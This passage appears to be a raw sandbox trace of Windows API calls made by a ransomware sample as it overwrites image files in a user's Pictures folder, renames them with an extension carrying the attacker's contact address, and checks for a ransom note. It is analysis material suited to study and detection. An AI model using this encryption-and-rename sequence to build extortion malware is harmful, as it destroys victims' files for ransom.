0x2f96dc8 [0169.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88160 [0169.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.663] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.663] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.664] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x10f6f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10f6f7e8*=0x4096, lpOverlapped=0x0) returned 1 [0169.664] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.664] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.664] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.665] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.665] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.665] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.665] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.665] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.665] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x10f6f7e8, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10f6f7e8*=0x4096, lpOverlapped=0x0) returned 1 [0169.665] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.665] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x18d6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.665] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10f6f820, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10f6f820*=0x20, lpOverlapped=0x0) returned 1 [0169.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.666] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.666] WriteFile (in: hFile=0x370, lpBuffer=0x2f88160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10f6f834, lpOverlapped=0x0 | out: lpBuffer=0x2f88160*, lpNumberOfBytesWritten=0x10f6f834*=0x8, lpOverlapped=0x0) returned 1 [0169.666] WriteFile (in: hFile=0x370, lpBuffer=0x10f6f84c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10f6f834, lpOverlapped=0x0 | out: lpBuffer=0x10f6f84c*, lpNumberOfBytesWritten=0x10f6f834*=0x4, lpOverlapped=0x0) returned 1 [0169.667] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10f6f834, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10f6f834*=0x4, lpOverlapped=0x0) returned 1 [0169.667] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10f6f834, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10f6f834*=0x6c, lpOverlapped=0x0) returned 1 [0169.667] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10f6f834, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10f6f834*=0x20, lpOverlapped=0x0) returned 1 [0169.667] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10f6f834, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10f6f834*=0x4, lpOverlapped=0x0) returned 1 [0169.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.667] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88160) returned 1 [0169.667] CloseHandle (hObject=0x370) returned 1 [0169.667] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc41c0 [0169.668] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" [0169.668] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.668] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.669] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0169.669] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.669] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.669] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.669] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.669] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.669] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee8d0) returned 1 [0169.669] RtlExitUserThread (Status=0x1) Thread: id = 1859 os_tid = 0xfe4 [0169.671] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.671] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.671] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10fefd68 | out: lpFileSize=0x10fefd68*=10724) returned 1 [0169.671] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x29e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.671] ReadFile (in: hFile=0x370, lpBuffer=0x10fefd3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10fefd38, lpOverlapped=0x0 | out: lpBuffer=0x10fefd3c*, lpNumberOfBytesRead=0x10fefd38*=0x4, lpOverlapped=0x0) returned 1 [0169.672] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88160 [0169.672] NtQuerySystemTime (in: CurrentTime=0x10fefd14 | out: CurrentTime=0x10fefd14*=132121213269908074) returned 0x0 [0169.672] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x3d1f5301 [0169.672] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xae76e167 [0169.672] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x7365c4a5 [0169.672] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xa9608dfe [0169.672] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xc5cb59eb [0169.672] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xca1d39f [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xafef0e08 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x163ff8df [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x82114c82 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xcbe6dcc [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xdc41a0c3 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xc8a466d [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xe8a32c0b [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x3335f443 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x3d17095e [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x8fa23633 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xf2cf1b8d [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xa3e407da [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x3b8294ab [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x2d768a50 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x6457d924 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x6eed2201 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x18f65c2b [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xe0c778e [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xd4520e7d [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x8be2cce1 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x1660f34b [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x908ab8e1 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0xc64b5bb5 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x52e0679c [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x29f3061 [0169.673] RtlRandom (in: Seed=0x10fefd20 | out: Seed=0x10fefd20) returned 0x517534ee [0169.683] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88188 [0169.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.685] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.685] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x29e4, lpNumberOfBytesRead=0x10fefd14, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10fefd14*=0x29e4, lpOverlapped=0x0) returned 1 [0169.686] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x10fefcdc | out: lpNewFilePointer=0x0) returned 1 [0169.686] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x29e4, lpNumberOfBytesWritten=0x10fefd10, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10fefd10*=0x29e4, lpOverlapped=0x0) returned 1 [0169.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.686] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10fefd0c, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10fefd0c*=0x20, lpOverlapped=0x0) returned 1 [0169.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.687] WriteFile (in: hFile=0x370, lpBuffer=0x2f88188*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10fefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f88188*, lpNumberOfBytesWritten=0x10fefd38*=0x8, lpOverlapped=0x0) returned 1 [0169.687] WriteFile (in: hFile=0x370, lpBuffer=0x10fefd50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10fefd38, lpOverlapped=0x0 | out: lpBuffer=0x10fefd50*, lpNumberOfBytesWritten=0x10fefd38*=0x4, lpOverlapped=0x0) returned 1 [0169.687] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10fefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10fefd38*=0x4, lpOverlapped=0x0) returned 1 [0169.687] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10fefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10fefd38*=0x6c, lpOverlapped=0x0) returned 1 [0169.688] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10fefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10fefd38*=0x20, lpOverlapped=0x0) returned 1 [0169.688] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10fefd38, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10fefd38*=0x4, lpOverlapped=0x0) returned 1 [0169.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88188) returned 1 [0169.688] CloseHandle (hObject=0x370) returned 1 [0169.688] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f98978 [0169.688] wcscpy (in: _Dest=0x2f98978, _Source="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" [0169.688] wcscat (in: _Dest=0x2f98978, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.688] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\cqupcckqphrahcgg.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.689] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.689] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98978) returned 1 [0169.689] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.689] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.689] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.689] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.689] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.689] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee828) returned 1 [0169.689] RtlExitUserThread (Status=0x1) Thread: id = 1860 os_tid = 0xfec [0169.691] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.692] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\dhnev.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.692] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1106f780 | out: lpFileSize=0x1106f780*=23553) returned 1 [0169.692] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x5bfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.692] ReadFile (in: hFile=0x370, lpBuffer=0x1106f754, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1106f750, lpOverlapped=0x0 | out: lpBuffer=0x1106f754*, lpNumberOfBytesRead=0x1106f750*=0x4, lpOverlapped=0x0) returned 1 [0169.693] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88188 [0169.693] NtQuerySystemTime (in: CurrentTime=0x1106f72c | out: CurrentTime=0x1106f72c*=132121213270064206) returned 0x0 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xb0979447 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x6aff2225 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xdd37124d [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x37e188c6 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xafcae9b [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x84e879a3 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xf021eb66 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xf7f61d80 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xdb6048a3 [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x19e925aa [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xc27b6a8e [0169.693] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xfc24ec2b [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x3dcccc69 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x2ac66921 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x107e1bbc [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x668fef99 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x2efec3f2 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x6a150261 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x2aad8e5d [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x76671754 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xb1124862 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x818d1958 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xc5f8f1b7 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xd0984137 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x48c5e01a [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x8f4d8f45 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x57afa9cd [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x66766a6 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x613ccaf8 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xfa37e604 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0xe1877736 [0169.694] RtlRandom (in: Seed=0x1106f738 | out: Seed=0x1106f738) returned 0x1a048819 [0169.703] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.705] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.705] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1106f704, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1106f704*=0x4096, 